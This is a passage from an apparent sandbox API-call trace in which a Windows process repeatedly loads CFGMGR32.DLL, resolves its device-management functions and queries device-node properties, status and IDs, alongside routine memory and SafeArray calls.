pulLength=0x67117cd84) returned 0x0 [0226.244] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0226.244] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67b5ee3f, dwHighDateTime=0x1d9eb0c)) [0226.244] SetEvent (hEvent=0x248) returned 1 [0226.248] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.248] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.251] malloc (_Size=0x18) returned 0x196ef0d1980 [0226.251] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0226.251] malloc (_Size=0x48) returned 0x196ef0fb540 [0226.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67b627d0, dwHighDateTime=0x1d9eb0c)) [0226.252] SetEvent (hEvent=0x248) returned 1 [0226.257] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.257] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.260] malloc (_Size=0x18) returned 0x196ef0d1a80 [0226.260] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0226.262] malloc (_Size=0x48) returned 0x196ef0fb450 [0226.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67b88d6a, dwHighDateTime=0x1d9eb0c)) [0226.263] SetEvent (hEvent=0x248) returned 1 [0226.346] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.346] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.347] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.347] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.347] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.347] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.347] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.347] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.348] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.348] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.348] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.348] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.348] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.348] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.348] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.349] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.349] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.349] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.349] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.349] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.349] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.349] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.350] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0226.350] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x5, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0226.350] malloc (_Size=0x48) returned 0x196ef0fb680 [0226.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x67c47d6f, dwHighDateTime=0x1d9eb0c)) [0226.350] SetEvent (hEvent=0x248) returned 1 [0226.355] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.356] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.359] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0226.359] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x5, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0226.359] malloc (_Size=0x48) returned 0x196ef0fbae0 [0226.359] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x67c6dbfd, dwHighDateTime=0x1d9eb0c)) [0226.359] SetEvent (hEvent=0x248) returned 1 [0226.363] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.363] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.363] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.363] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.363] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.363] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.364] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.364] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.364] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.364] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.364] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.364] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.364] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.366] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0226.366] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0226.366] malloc (_Size=0x48) returned 0x196ef0fbae0 [0226.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67c6dbfd, dwHighDateTime=0x1d9eb0c)) [0226.367] SetEvent (hEvent=0x248) returned 1 [0226.372] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.372] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.375] malloc (_Size=0x18) returned 0x196ef0d1960 [0226.375] CM_Get_Device_IDA (in: dnDevInst=0x3, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0A08\\0") returned 0x0 [0226.375] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0226.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x67c94043, dwHighDateTime=0x1d9eb0c)) [0226.375] SetEvent (hEvent=0x248) returned 1 [0226.379] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.379] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.382] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0226.382] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0226.383] malloc (_Size=0x5a) returned 0x196ef0d06f0 [0226.383] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d06f0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d06f0, pulLength=0x67117d608) returned 0x0 [0226.383] free (_Block=0x196ef0d06f0) [0226.383] malloc (_Size=0x48) returned 0x196ef0fb310 [0226.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x67c94043, dwHighDateTime=0x1d9eb0c)) [0226.383] SetEvent (hEvent=0x248) returned 1 [0226.388] malloc (_Size=0x18) returned 0x196ef0d1da0 [0226.388] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0226.388] free (_Block=0x196ef0d1da0) [0226.388] malloc (_Size=0x18) returned 0x196ef0d2020 [0226.389] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0226.389] free (_Block=0x196ef0d2020) [0226.389] malloc (_Size=0x18) returned 0x196ef0d1c40 [0226.389] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0226.389] free (_Block=0x196ef0d1c40) [0226.390] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855060 [0226.390] SafeArrayGetDim (psa=0x196ef1f2670) returned 0x1 [0226.390] SafeArrayGetLBound (in: psa=0x196ef1f2670, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0226.390] SafeArrayGetUBound (in: psa=0x196ef1f2670, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0226.390] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0226.390] SafeArrayGetDim (psa=0x196ef1f2670) returned 0x1 [0226.390] SafeArrayGetUBound (in: psa=0x196ef1f2670, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0226.390] SafeArrayGetElemsize (psa=0x196ef1f2670) returned 0x8 [0226.391] SafeArrayGetElement (in: psa=0x196ef1f2670, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0226.392] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e970, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0226.393] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e978, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0226.393] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e980, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0226.395] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0226.395] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855060) returned 1 [0226.396] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.396] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.457] GetProcAddress 